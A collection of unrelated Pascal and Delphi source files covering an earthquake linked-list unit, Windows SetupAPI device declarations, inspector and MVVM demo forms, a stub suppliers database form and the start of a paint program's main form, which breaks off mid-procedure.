* @paramOut day INTEGER day of found earthquake (part of date)
* @paramOut month INTEGER month of found earthquake (part of date)
* @paramOut year INTEGER year of found earthquake (part of date )
*}
PROCEDURE GetStrongestEarthquakeInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2: REAL;
VAR latitudeOut, longitudeOut, strength: REAL; VAR city: STRING; VAR day, month, year: INTEGER);
{* Gets average earthquake strength in region
*
* @paramIn latitudeIn1 REAL Latitude value of first geopoint
* @paramIn longitudeIn1 REAL Longitude value of first geopoint
* @paramIn latitudeIn2 REAL Latitude value of second geopoint
* @paramIn longitudeIn2 REAL Longitude value of second geopoint
* @return REAL Average Strength value
*}
FUNCTION AverageEarthquakeStrengthInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2: REAL): REAL;
{* Displays earthquakes list of entries close to city
*
* @paramIn city STRING City value to be searched for in earthquakes
*}
PROCEDURE PrintEarthquakesCloseToCity(city: STRING);
{* Displays earthquakes list of entries with strength bigger or equal to strength
*
* @paramIn strength REAL Strength value to be searched for in earthquakes
*}
PROCEDURE PrintStrongCityEarthquakes(strength: REAL);
{* Resets the earthquake list *}
PROCEDURE Reset;
{* Deletes earthquake list entries that occured before the given date and returns the number of deleted elements
*
* @paramIn beforeDate STRING Datestring of (inclusive) date which is after the dates
* of entries that should be deleted. Strict Format: 'dd.mm.yyyy'
* @paramOut deletedElementCount INTEGER Number of elements that were deleted
*}
PROCEDURE DeleteAllEarthquakesBeforeDate(beforeDate: STRING; VAR deletedElementCount: INTEGER);
{* Deletes earthquake list entries that match the given city and returns the number of deleted elements
*
* @paramIn city STRING City value of entries that should be deleted
* @paramOut deletedElementCount INTEGER Number of elements that were deleted
*}
PROCEDURE DeleteAllEarthquakesCloseToCity(city: STRING; VAR deletedElementCount: INTEGER);
{* Displays all earthquake list entries grouped by their cities *}
PROCEDURE PrintEarthquakesGroupedByCity;
IMPLEMENTATION
{* make functions and procedures from UDate available in this scope *}
USES UDate;
TYPE
Earthquake = ^EarthquakeRec; {* Earthquake pointer *}
EarthquakeRec = RECORD
city: STRING;
strength, latitude, longitude: REAL;
date: Date;
next: Earthquake;
END;
EarthquakeList = Earthquake;
City = ^CityRec; {* City pointer *}
CityRec = RECORD
cityName: STRING;
next: City;
earthquakes: Earthquake; {* Earthquake pointer *}
END;
CityList = City;
VAR
list: EarthquakeList; {* global list of earthquake entries *}
{* Initialize earthquakes list *}
PROCEDURE InitEarthquakeList;
BEGIN
list := NIL; {* set pointer to NIL *}
END;
PROCEDURE AddEarthquake(latitude, longitude, strength: REAL; city: STRING; dateString: STRING);
VAR
dateValid, found: BOOLEAN;
earthquakeDate: Date;
earthquakeEntry, temp, previousTemp: Earthquake;
BEGIN
found := false;
ParseDate(dateString, dateValid, earthquakeDate);
{* If dateString can't be parsed don't add the earthquake to the list *}
IF dateValid THEN
BEGIN
New(earthquakeEntry);
earthquakeEntry^.date := earthquakeDate;
{* fill earthquakeEntry properties with parameter values *}
earthquakeEntry^.date := earthquakeDate;
earthquakeEntry^.latitude := latitude;
earthquakeEntry^.longitude := longitude;
earthquakeEntry^.strength := strength;
earthquakeEntry^.city := city;
earthquakeEntry^.next := NIL;
IF list = NIL THEN {* first earthquakeEntry ever *}
list := earthquakeEntry
ELSE BEGIN
temp := list;
previousTemp := temp;
{* check of first list element, needs special handling since list pointer must be re-set => special case! *}
IF LiesBefore(temp^.date, earthquakeEntry^.date) THEN BEGIN
earthquakeEntry^.next := temp;
list := earthquakeEntry;
END ELSE BEGIN
WHILE (temp <> NIL) and (not found) DO BEGIN
IF LiesBefore(temp^.date, earthquakeEntry^.date) THEN
BEGIN
earthquakeEntry^.next := temp;
previousTemp^.next := earthquakeEntry;
found := true; {* leave loop when the new entry's perfect position was found *}
END ELSE BEGIN
previousTemp := temp;
temp := temp^.next;
END;
END;
{* No perfect position was found so just append the entry to list *}
IF not found THEN
previousTemp^.next := earthquakeEntry;
END;
END;
END;
END;
PROCEDURE DisplayList(eqList: Earthquake);
VAR
temp: Earthquake;
BEGIN
temp := eqList;
WHILE temp <> NIL DO BEGIN
WriteLn();
Write('DATE: ');
DisplayDate(temp^.date);
WriteLn();
WriteLn('STRENGTH: ', temp^.strength);
WriteLn('LATITUDE: ', temp^.latitude);
WriteLn('LONGITUDE: ', temp^.longitude);
WriteLn('CITY: ', temp^.city);
WriteLn();
temp := temp^.next;
END;
END;
FUNCTION TotalNumberOfEarthquakes: INTEGER;
VAR
temp: Earthquake;
count: INTEGER;
BEGIN
temp := list;
count := 0;
{* count elements by iterating over list *}
WHILE temp <> NIL DO BEGIN
Inc(count);
temp := temp^.next;
END;
TotalNumberOfEarthquakes := count;
END;
FUNCTION NumberOfEarthquakesInTimespan(fromDate, toDate: STRING): INTEGER;
VAR
count: INTEGER;
d1, d2, tempDate: Date;
okd1, okd2: BOOLEAN;
tempEarthquake: Earthquake;
BEGIN
ParseDate(fromDate, okd1, d1);
ParseDate(toDate, okd2, d2);
{* Only continue if both dates are valid
* otherwise return -1
*}
IF okd1 and okd2 THEN
BEGIN
{* Swap dates if d2 is earlier than d1 *}
IF not LiesBefore(d1, d2) THEN {* exposed by UDate *}
BEGIN
tempDate := d2;
d2 := d1;
d1 := tempDate;
END;
count := 0;
tempEarthquake := list;
{* start iterating over all earthquakes in list *}
WHILE tempEarthquake <> NIL DO BEGIN
IF LiesBefore(d1, tempEarthquake^.date) and LiesBefore(tempEarthquake^.date, d2) THEN
BEGIN
Inc(count);
END;
tempEarthquake := tempEarthquake^.next; {* go to next earthquake pointer *}
END;
NumberOfEarthquakesInTimespan := count
END ELSE NumberOfEarthquakesInTimespan := -1; {* return -1 if dates not valid *}
END;
{* Swaps two REAL values and returns them *}
PROCEDURE SwapValues(VAR val1, val2: REAL);
VAR
temp: REAL;
BEGIN
temp := val1;
val1 := val2;
val2 := temp;
END;
{* returns true if geopoint (checkLatitude and checkLongitude) is in region *}
FUNCTION GeopointInRegion(latitude1, longitude1, latitude2, longitude2, checkLatitude, checkLongitude: REAL): BOOLEAN;
BEGIN
GeopointInRegion := false;
IF latitude1 > latitude2 THEN
BEGIN
{* swap geopoints so check conditions will work *}
SwapValues(latitude1, latitude2);
SwapValues(longitude1, longitude2);
END;
{* check if given geopoint is in region.
* The region can be seen as a rectangle in a coordinate system
*}
IF (checkLatitude >= latitude1) and (checkLatitude <= latitude2) THEN
IF (checkLongitude >= longitude1) and (checkLongitude <= longitude2) THEN
GeopointInRegion := true;
END;
PROCEDURE GetStrongestEarthquakeInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2: REAL;
VAR latitudeOut, longitudeOut, strength: REAL; VAR city: STRING; VAR day, month, year: INTEGER);
VAR
tempEarthquake, strongestEarthquake: Earthquake;
BEGIN
New(strongestEarthquake); {* dynamically allocate memory for strongestEarthquake *}
strongestEarthquake^.strength := 0; {* initial value for the searched strength *}
tempEarthquake := list;
WHILE tempEarthquake <> NIL DO BEGIN
IF GeopointInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2,
tempEarthquake^.latitude, tempEarthquake^.longitude) THEN
BEGIN
{* earthquake is in the region, so compare it's strength to previosly found *}
IF strongestEarthquake^.strength < tempEarthquake^.strength THEN
strongestEarthquake^ := tempEarthquake^;
END;
tempEarthquake := tempEarthquake^.next;
END;
{* Convert the found earthquake entry to primitive datatypes to return them *}
latitudeOut := strongestEarthquake^.latitude;
longitudeOut := strongestEarthquake^.longitude;
strength := strongestEarthquake^.strength;
city := strongestEarthquake^.city;
day := strongestEarthquake^.date.day;
month := strongestEarthquake^.date.month;
year := strongestEarthquake^.date.year;
{* dispose strongestEarthquake since it's not used anymore *}
Dispose(strongestEarthquake);
END;
FUNCTION AverageEarthquakeStrengthInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2: REAL): REAL;
VAR
sum: REAL;
count: INTEGER;
tempEarthquake: Earthquake;
BEGIN
sum := 0;
count := 0;
tempEarthquake := list;
WHILE tempEarthquake <> NIL DO BEGIN
IF GeopointInRegion(latitudeIn1, longitudeIn1, latitudeIn2, longitudeIn2,
tempEarthquake^.latitude, tempEarthquake^.longitude) THEN
BEGIN
{* earthquake is in region, so add it's strength to sum
* and increase the counter.
*}
sum := sum + tempEarthquake^.strength;
Inc(count);
END;
tempEarthquake := tempEarthquake^.next;
END;
IF count > 0 THEN
AverageEarthquakeStrengthInRegion := sum / count
ELSE AverageEarthquakeStrengthInRegion := 0; {* return 0 in case no earthquakes were found in region *}
END;
PROCEDURE DisplayEarthquake(earthquake: Earthquake);
BEGIN
WriteLn();
Write('DATE: ');
DisplayDate(earthquake^.date);
WriteLn();
WriteLn('STRENGTH: ', earthquake^.strength);
WriteLn('LATITUDE: ', earthquake^.latitude);
WriteLn('LONGITUDE: ', earthquake^.longitude);
WriteLn('CITY: ', earthquake^.city);
WriteLn();
END;
PROCEDURE PrintEarthquakesCloseToCity(city: STRING);
VAR
temp: Earthquake;
BEGIN
{* copy list to temp, so the list pointer won't be moved away from the first element *}
temp := list;
WriteLn('-----------------------------------------------------');
WriteLn();
WriteLn('Earthquakes close to ' , city);
WriteLn();
{* iterate over all earthquakes in list *}
WHILE temp <> NIL DO BEGIN
IF temp^.city = city THEN
{* print list entry since condition is true *}
DisplayEarthquake(temp);
temp := temp^.next;
END;
WriteLn();
WriteLn('-----------------------------------------------------');
END;
PROCEDURE PrintStrongCityEarthquakes(strength: REAL);
VAR
temp: Earthquake;
BEGIN
{* copy list to temp, so the list pointer won't be moved away from the first element *}
temp := list;
WriteLn('-----------------------------------------------------');
WriteLn();
WriteLn('Earthquakes with strength >= ' , strength);
WriteLn();
WHILE temp <> NIL DO
BEGIN
IF temp^.strength >= strength THEN
BEGIN
{* print list entry since condition is true *}
Write('Date: ');
DisplayDate(temp^.date);
WriteLn(' | CITY: ', temp^.city);
END;
temp := temp^.next;
END;
WriteLn();
WriteLn('-----------------------------------------------------');
END;
PROCEDURE DeleteAllEarthquakesBeforeDate(beforeDate: STRING; VAR deletedElementCount: INTEGER);
VAR
d1: Date;
okd1: BOOLEAN;
temp, previousTemp: Earthquake;
BEGIN
{* copy list to temp, so the list pointer won't be moved away from the first element *}
temp := list;
deletedElementCount := -1;
ParseDate(beforeDate, okd1, d1);
{* Only continue if date is valid otherwise return -1 *}
IF okd1 THEN
BEGIN
deletedElementCount := 0;
{* represents a "old" or previous copy of temp *}
previousTemp := temp;
WHILE temp <> NIL DO BEGIN
{* check if temp is still beginning of list (= first element of list) => special case! *}
IF LiesBefore(temp^.date, d1) and (temp = list) THEN
BEGIN
{* Dispose temp and make the second element the new first element of the list *}
list := temp^.next;
Dispose(temp);
temp := list;
Inc(deletedElementCount);
END ELSE BEGIN
IF LiesBefore(temp^.date, d1) THEN
BEGIN
Inc(deletedElementCount);
IF temp^.next <> NIL THEN
BEGIN
{* Dispose temp and replace it's position in the list with temp^.next *}
{* wire temp's left neighbor to it's right neighbor *}
previousTemp^.next := temp^.next;
Dispose(temp);
temp := previousTemp;
END ELSE BEGIN
{* temp has no next element so just dispose it *}
{* also remove it's connection to the list *}
previousTemp^.next := NIL;
Dispose(temp);
END;
END;
previousTemp := temp; {* keep reference of temp in previosTemp *}
temp := temp^.next; {* go to next element in list *}
END;
END;
END;
END;
PROCEDURE DeleteAllEarthquakesCloseToCity(city: STRING; VAR deletedElementCount: INTEGER);
VAR
temp, previousTemp: Earthquake;
BEGIN
{* copy list to temp, so the list pointer won't be moved away from the first element *}
temp := list;
deletedElementCount := 0;
{* represents a "old" or previous copy of temp *}
previousTemp := temp;
WHILE temp <> NIL DO BEGIN
{* check if temp is still beginning of list (= first element of list) => special case! *}
IF (temp^.city = city) and (temp = list) THEN
BEGIN
{* Dispose temp and make the second element the new first element of the list *}
list := temp^.next;
Dispose(temp);
temp := list;
Inc(deletedElementCount);
END ELSE BEGIN
IF temp^.city = city THEN
BEGIN
Inc(deletedElementCount);
IF temp^.next <> NIL THEN
BEGIN
{* Dispose temp and replace it's position in the list with temp^.next *}
{* wire temp's left neighbor to it's right neighbor *}
previousTemp^.next := temp^.next;
Dispose(temp);
temp := previousTemp;
END ELSE BEGIN
{* temp has no next element so just dispose it *}
{* also remove it's connection to the list *}
previousTemp^.next := NIL;
Dispose(temp);
END;
END;
previousTemp := temp; {* keep reference of temp in previosTemp *}
temp := temp^.next; {* go to next element in list *}
END;
END;
END;
{* searches cities list for a given cityName value *}
FUNCTION CityListContainsValue(cities: CityList; value: STRING): BOOLEAN;
VAR
temp: City;
BEGIN
CityListContainsValue := false;
temp := cities;
WHILE temp <> NIL DO
BEGIN
IF temp^.cityName = value THEN
CityListContainsValue := true;
temp := temp^.next;
END;
END;
PROCEDURE PrintCities(cities: CityList);
VAR
tempCity: City;
BEGIN
tempCity := cities;
WriteLn;
WriteLn('----------------------------------');
IF tempCity = NIL THEN
WriteLn('No entries in list..')
ELSE BEGIN
WHILE tempCity <> NIL DO
BEGIN
WriteLn('-- ', tempCity^.cityName, ' --');
DisplayList(tempCity^.earthquakes);
tempCity := tempCity^.next;
END;
END;
WriteLn('----------------------------------');
WriteLn;
END;
PROCEDURE PrintEarthquakesGroupedByCity;
VAR
cities: CityList;
temp, cityEarthquakesTemp, cityEarthquakeEntry: Earthquake;
cityTemp, cityEntry: City;
BEGIN
cities := NIL;
cityTemp := NIL;
cityEntry := NIL;
{* copy list to temp, so the list pointer won't be moved away from the first element *}
temp := list;
WHILE temp <> NIL DO
BEGIN
IF NOT CityListContainsValue(cityTemp, temp^.city) THEN
BEGIN
{* cities list has no entry for temp^.city *}
IF cityTemp = NIL THEN
BEGIN
{* create initial city entry and and add the initial earthquake for it *}
New(cityTemp);
New(cityEarthquakesTemp);
cityTemp^.cityName := temp^.city;
cityEarthquakesTemp^ := temp^;
cityEarthquakesTemp^.next := NIL;
cityTemp^.earthquakes := cityEarthquakesTemp;
cityTemp^.next := NIL;
cities := cityTemp;
END ELSE BEGIN // cities exists
{* city entries already exist but not for temp^.city
* so create new entry with inital earthquake entry and append it to the city list
*}
New(cityEntry);
New(cityEarthquakesTemp);
cityEntry^.cityName := temp^.city;
cityEarthquakesTemp^ := temp^;
cityEarthquakesTemp^.next := NIL;
cityEntry^.earthquakes := cityEarthquakesTemp;
cityEntry^.next := NIL;
{* Iterate through city list to append new cityEntry *}
WHILE cityTemp^.next <> NIL DO
cityTemp := cityTemp^.next;
cityTemp^.next := cityEntry;
END;
END ELSE
BEGIN
{* city entry with cityName = temp^.city already exist *}
{* iterate over list to find the correct city entry *}
WHILE cityTemp <> NIL DO
BEGIN
IF cityTemp^.cityName = temp^.city THEN BEGIN
{* correct city entry found. Now iterate over the earthquakes list
* to append the new earthquake entry.
*}
cityEarthquakesTemp := cityTemp^.earthquakes;
WHILE cityEarthquakesTemp^.next <> NIL DO
cityEarthquakesTemp := cityEarthquakesTemp^.next;
New(cityEarthquakeEntry);
cityEarthquakeEntry^ := temp^;
cityEarthquakeEntry^.next := NIL;
cityEarthquakesTemp^.next := cityEarthquakeEntry;
END;
cityTemp := cityTemp^.next;
END;
END;
temp := temp^.next;
cityTemp := cities;
END;
PrintCities(cities); {* finally display the cities list *}
END;
PROCEDURE Reset;
VAR
temp: Earthquake;
BEGIN
{* Dispose all pointers to list entries *}
WHILE list <> NIL DO
BEGIN
temp := list^.next;
Dispose(list);
list := temp;
END;
END;
BEGIN
{* Init on first run of Unit *}
InitEarthquakeList;
END. |
{
Setup API defines
Written by DuXeN0N
}
unit SetupAPI;
interface
uses
Windows;
const
CfgMgrDllName = 'cfgmgr32.dll';
SetupApiModuleName = 'SETUPAPI.DLL';
type
HDEVINFO = THandle;
DEVINST = DWORD;
CONFIGRET = DWORD;
PPNP_VETO_TYPE = ^PNP_VETO_TYPE;
PNP_VETO_TYPE = DWORD;
const
// Disk Drives
GUID_DEVCLASS_DISKDRIVE: TGUID = '{4D36E967-E325-11CE-BFC1-08002BE10318}';
// State
DIGCF_PRESENT = $00000002;
const
SPDRP_FRIENDLYNAME = $0000000C;
// CfrMgr Results
const
CR_SUCCESS = $00000000;
type
PSPDevInfoData = ^TSPDevInfoData;
SP_DEVINFO_DATA = packed record
cbSize: DWORD;
ClassGuid: TGUID;
DevInst: DWORD; // DEVINST handle
Reserved: ULONG_PTR;
end;
TSPDevInfoData = SP_DEVINFO_DATA;
// Setup
function SetupDiGetClassDevsW(ClassGuid: PGUID; const Enumerator: PWideChar;
hwndParent: HWND; Flags: DWORD): HDEVINFO; stdcall; external SetupApiModuleName name 'SetupDiGetClassDevsW';
function SetupDiEnumDeviceInfo(DeviceInfoSet: HDEVINFO; MemberIndex: DWORD;
var DeviceInfoData: TSPDevInfoData): BOOL; stdcall; external SetupApiModuleName name 'SetupDiEnumDeviceInfo';
function SetupDiGetDeviceRegistryPropertyW(DeviceInfoSet: HDEVINFO;
const DeviceInfoData: TSPDevInfoData; Property_: DWORD;
var PropertyRegDataType: DWORD; PropertyBuffer: PBYTE; PropertyBufferSize: DWORD;
var RequiredSize: DWORD): BOOL; stdcall; external SetupApiModuleName name 'SetupDiGetDeviceRegistryPropertyW';
function SetupDiDestroyDeviceInfoList(DeviceInfoSet: HDEVINFO): BOOL; stdcall;
external SetupApiModuleName name 'SetupDiDestroyDeviceInfoList';
// CfgMgr
function CM_Get_Device_ID_Size(var ulLen: ULONG; dnDevInst: DEVINST;
ulFlags: ULONG): CONFIGRET; stdcall; external CfgMgrDllName name 'CM_Get_Device_ID_Size';
function CM_Get_Device_IDW(dnDevInst: DEVINST; Buffer: PWideChar; BufferLen: ULONG;
ulFlags: ULONG): CONFIGRET; stdcall; external CfgMgrDllName name 'CM_Get_Device_IDW';
function CM_Get_Parent(var dnDevInstParent: DEVINST; dnDevInst: DEVINST;
ulFlags: ULONG): CONFIGRET; stdcall; external CfgMgrDllName name 'CM_Get_Parent';
function CM_Request_Device_EjectW(dnDevInst: DEVINST; pVetoType: PPNP_VETO_TYPE;
pszVetoName: PWideChar; ulNameLength: ULONG; ulFlags: ULONG): CONFIGRET; stdcall;
external SetupApiModuleName name 'CM_Request_Device_EjectW';
implementation
end.
|
{================================================================================
Copyright (C) 1997-2002 Mills Enterprise
Unit : rmInspectorItems
Purpose : This is a designtime unit to help with selecting and creating
rmInspectorItems.
Date : 01-18-2001
Author : Ryan J. Mills
Version : 1.92
================================================================================}
unit rmInspectorEdit2;
interface
{$I CompilerDefines.INC}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, rmInspector;
type
TfrmInspectorItemTypes = class(TForm)
ComboBox1: TComboBox;
Label1: TLabel;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
private
function GetItemType: TrmCustomInspectorItemClass;
procedure SetItemType(const Value: TrmCustomInspectorItemClass);
{ Private declarations }
public
{ Public declarations }
property ChosenType:TrmCustomInspectorItemClass read GetItemType write SetItemType;
end;
implementation
{$R *.DFM}
uses rmInspectorItems;
procedure TfrmInspectorItemTypes.FormCreate(Sender: TObject);
begin
ComboBox1.ItemIndex := 0;
end;
function TfrmInspectorItemTypes.GetItemType: TrmCustomInspectorItemClass;
begin
case ComboBox1.itemindex of
0:result := TrmCheckboxInspectorItem;
1:result := TrmComboInspectorItem;
2:result := TrmComplexInspectorItem;
3:result := TrmDateInspectorItem;
4:result := TrmIntegerInspectorItem;
5:result := TrmStringInspectorItem;
else
raise exception.create('Unknown item index');
end
end;
procedure TfrmInspectorItemTypes.SetItemType(
const Value: TrmCustomInspectorItemClass);
begin
if Value = TrmComboInspectorItem then
ComboBox1.itemindex := 0
else if Value = TrmComplexInspectorItem then
ComboBox1.itemindex := 1
else if Value = TrmDateInspectorItem then
ComboBox1.itemindex := 2
else if Value = TrmIntegerInspectorItem then
ComboBox1.itemindex := 3
else if Value = TrmStringInspectorItem then
ComboBox1.itemindex := 4
else
raise exception.create('Unknown Item Class')
end;
end.
|
unit uDemoViewTipo1;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs,
System.Generics.Collections, FMX.Controls.Presentation, FMX.ScrollBox,
FMX.Memo, FMX.StdCtrls,
uInterfaces,
uAtributos,
uDemoInterfaces,
uDemoViewModels,
uView;
type
[ViewForVM(IMyViewModel1, TMyViewModel1)]
TfrmIntf1 = class(TFormView<IMyViewModel1, TMyViewModel1>)
Memo1: TMemo;
Button1: TButton;
Button3: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
protected
function GetVM_AsInterface: IMyViewModel1; override;
function GetVM_AsObject: TMyViewModel1; override;
public
{ Public declarations }
end;
(*
[ViewForVM(IMyViewModel1, TMyViewModel1)]
TForm68 = class(TForm, IVM_User<IMyViewModel1, TMyViewModel1>)
Memo1: TMemo;
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
FViewModel : IViewModel;
protected
function GetVM_AsInterface: IMyViewModel1;
function GetVM_AsObject: TMyViewModel1;
procedure CreateVM;
public
{ Public declarations }
property VM_AsInterface: IMyViewModel1 read GetVM_AsInterface;
property VM_AsObject: TMyViewModel1 read GetVM_AsObject;
end;
*)
var
frmIntf1: TfrmIntf1;
implementation
uses
System.RTTI,
uDemoViewTipo2,
uDemoViewTipo3;
{$R *.fmx}
procedure TfrmIntf1.Button1Click(Sender: TObject);
begin
Memo1.Lines.Add(GetVM_AsInterface.Hello1);
end;
function TfrmIntf1.GetVM_AsObject: TMyViewModel1;
begin
Result := FViewModel as TMyViewModel1;
end;
procedure TfrmIntf1.Button2Click(Sender: TObject);
var
LForm: TfrmIntf2;
begin
LForm := TfrmIntf2.Create(Self);
LForm.Show;
end;
procedure TfrmIntf1.Button3Click(Sender: TObject);
var
LForm: TfrmMultiVista;
begin
LForm := TfrmMultiVista.Create(Self);
LForm.Show;
end;
function TfrmIntf1.GetVM_AsInterface: IMyViewModel1;
begin
Result := FViewModel as IMyViewModel1
end;
end.
|
unit SuppliersDB;
{$mode objfpc}{$H+}
//========================================================================================
//
// Unit : SuppliersDB.pas
//
// Description :
//
// Called By :
//
// Calls : AppSettings : pApplicationDirectory
// HUMessageBoxes : HUInformationMsgOK
//
// Ver. : 1.0.0
//
// Date : 26 May 2019
//
//========================================================================================
interface
uses
Classes, SysUtils, FileUtil, Forms,
Controls, Graphics, Dialogs, DbCtrls, Buttons, ExtCtrls, StdCtrls, DBGrids,
//
AppSettings, HUMessageBoxes;
type
{ TfrmSuppliersDB }
TfrmSuppliersDB = class(TForm)
bbtClose: TBitBtn;
bbtOK: TBitBtn;
BitBtn1: TBitBtn;
dbCbxSelectSupplier: TDBComboBox;
dbcbxProvState: TDBComboBox;
dbcbxContact1Position: TDBComboBox;
dbcbxContact2Position: TDBComboBox;
dbcbxContact3Position: TDBComboBox;
dbedtContact1Phone: TDBEdit;
dbedtContact1Name: TDBEdit;
dbedtContact2Name: TDBEdit;
dbedtContact3Name: TDBEdit;
dbedtContact2Phone: TDBEdit;
dbedtContact3Phone: TDBEdit;
dbedtPostalCode: TDBEdit;
dbedtCountry: TDBEdit;
dbedtProvState: TDBEdit;
dbedtCity: TDBEdit;
dbedtAddress2: TDBEdit;
dbedtAddress1: TDBEdit;
dbedtName: TDBEdit;
DBNavigator1: TDBNavigator;
Label1: TLabel;
Label10: TLabel;
Label11: TLabel;
Label12: TLabel;
Label14: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Panel1: TPanel;
Panel2: TPanel;
procedure bbtCloseClick(Sender: TObject);
procedure bbtOKClick(Sender: TObject);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
private
public
procedure CreateSuppliersDB;
end;
var
frmSuppliersDB: TfrmSuppliersDB;
implementation
uses
Main;
{$R *.lfm}
//========================================================================================
// PRIVATE CONSTANTS
//========================================================================================
const
cstrSuppliersDBName = 'SuppliersDB.sl3';
cstrSuppliersTableName = 'SuppliersTable';
//========================================================================================
// PUBLIC CONSTANTS
//========================================================================================
//========================================================================================
// PRIVATE VARIABLES
//========================================================================================
var
vstrSuppliersDatabasePathName : string;
//========================================================================================
// PUBLIC VARIABLES
//========================================================================================
//========================================================================================
// PRIVATE ROUTINES
//========================================================================================
//========================================================================================
// PUBLIC ROUTINES
//========================================================================================
procedure TfrmSuppliersDB.CreateSuppliersDB;
begin
end;// procedure TfrmSuppliersDB.CreateSuppliersDB
//========================================================================================
// PROPERTY ROUTINES
//========================================================================================
//========================================================================================
// MENU ROUTINES
//========================================================================================
//========================================================================================
// COMMAND BUTTON ROUTINES
//========================================================================================
procedure TfrmSuppliersDB.bbtCloseClick(Sender: TObject);
begin
end;// procedure TfrmSuppliersDB.bbtCloseClick
//----------------------------------------------------------------------------------------
procedure TfrmSuppliersDB.bbtOKClick(Sender: TObject);
begin
end;// procedure TfrmSuppliersDB.bbtOKClick
//========================================================================================
// CONTROL ROUTINES
//========================================================================================
//========================================================================================
// FILE ROUTINES
//========================================================================================
//========================================================================================
// FORM ROUTINES
//========================================================================================
procedure TfrmSuppliersDB.FormCreate(Sender: TObject);
begin
end;// procedure TfrmSuppliersDB.FormCreate
//----------------------------------------------------------------------------------------
procedure TfrmSuppliersDB.FormShow(Sender: TObject);
begin
end;// procedure TfrmSuppliersDB.FormShow
//----------------------------------------------------------------------------------------
procedure TfrmSuppliersDB.FormClose(Sender: TObject;
var CloseAction: TCloseAction);
begin
end;// procedure TfrmSuppliersDB.FormClose
//========================================================================================
end.// unit ManufacturerDB
|
unit main;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, ExtCtrls,
Buttons, ColorBox, StdCtrls, ComCtrls, Menus,
tools;
type
{ TMainForm }
TMainForm = class(TForm)
DlgOpenImage: TOpenDialog;
DlgSaveImage: TSaveDialog;
ToolBox: TPanel;
LToolBox: TLabel;
BtnPen: TSpeedButton;
BtnLine: TSpeedButton;
BtnRect: TSpeedButton;
BtnEllipse: TSpeedButton;
BtnEraser: TSpeedButton;
BtnFiller: TSpeedButton;
FColorBox: TColorBox;
LFColorBox: TLabel;
BColorBox: TColorBox;
LBColorBox: TLabel;
PenSize: TTrackBar;
LPenSize: TLabel;
SolidCB: TCheckBox;
Doge: TImage; // :3
ScrollBox: TScrollBox;
PaintBox: TPaintBox;
MenuBar: TMainMenu;
FileMenu: TMenuItem;
OpenItem: TMenuItem;
SaveItem: TMenuItem;
FileSep1: TMenuItem;
ExitItem: TMenuItem;
EditMenu: TMenuItem;
ClearItem: TMenuItem;
SizeItem: TMenuItem;
AboutItem: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure WorkspaceClick(Sender: TObject);
procedure PaintBoxMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure PaintBoxMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure PaintBoxMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure PaintBoxPaint(Sender: TObject);
procedure BtnEllipseClick(Sender: TObject);
procedure BtnEraserClick(Sender: TObject);
procedure BtnLineClick(Sender: TObject);
procedure BtnPenClick(Sender: TObject);
procedure BtnRectClick(Sender: TObject);
procedure BtnFillerClick(Sender: TObject);
procedure OpenItemClick(Sender: TObject);
procedure SaveItemClick(Sender: TObject);
procedure ExitItemClick(Sender: TObject);
procedure ClearItemClick(Sender: TObject);
procedure SizeItemClick(Sender: TObject);
procedure AboutItemClick(Sender: TObject);
procedure UpdateTool( X, Y: Integer );
private
SelTool: ToolEnum;
CurTool: TTool;
public
ImageBuf: TBitMap; //main image buffer
end;
{ Additional routines }
procedure ClearImg( image: TBitMap );
var
MainForm: TMainForm;
implementation
uses
f_imagesize;
{$R *.lfm}
{ MainForm }
procedure TMainForm.FormCreate(Sender: TObject);
begin
SelTool := TLPEN;
CurTool := nil;
ScrollBox.DoubleBuffered := True; //enable double buffering
ImageBuf := TBitMap.Create();
ImageBuf.Width := PaintBox.Width;
ImageBuf.Height := PaintBox.Height;
//FILL IT WITH WHITE!!1
ClearImg( ImageBuf );
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
ImageBuf.Destroy();
end;
procedure TMainForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
if not ( MessageDlg('Leaving so soon?',
mtConfirmation,
mbYesNo, 0) = mrYes ) then CloseAction := caNone;
end;
procedure TMainForm.BtnPenClick(Sender: TObject);
begin SelTool := TLPEN;
end;
procedure TMainForm.BtnLineClick(Sender: TObject);
begin SelTool := TLLINE;
end;
procedure TMainForm.BtnRectClick(Sender: TObject);
begin SelTool := TLRECT;
end;
procedure TMainForm.BtnEllipseClick(Sender: TObject);
begin SelTool := TLELLIPSE;
end;
procedure TMainForm.BtnEraserClick(Sender: TObject);
begin SelTool := TLERASER;
end;
procedure TMainForm.BtnFillerClick(Sender: TObject);
begin SelTool := TCFILLER;
end;
procedure TMainForm.OpenItemClick(Sender: TObject);
begin
if DlgOpenImage.Execute() then begin
ImageBuf.LoadFromFile( DlgOpenImage.FileName );
PaintBox.Width := ImageBuf.Width;
PaintBox.Height := ImageBuf.Height;
PaintBox.Invalidate();
end;
end;
procedure TMainForm.SaveItemClick(Sender: TObject);
begin
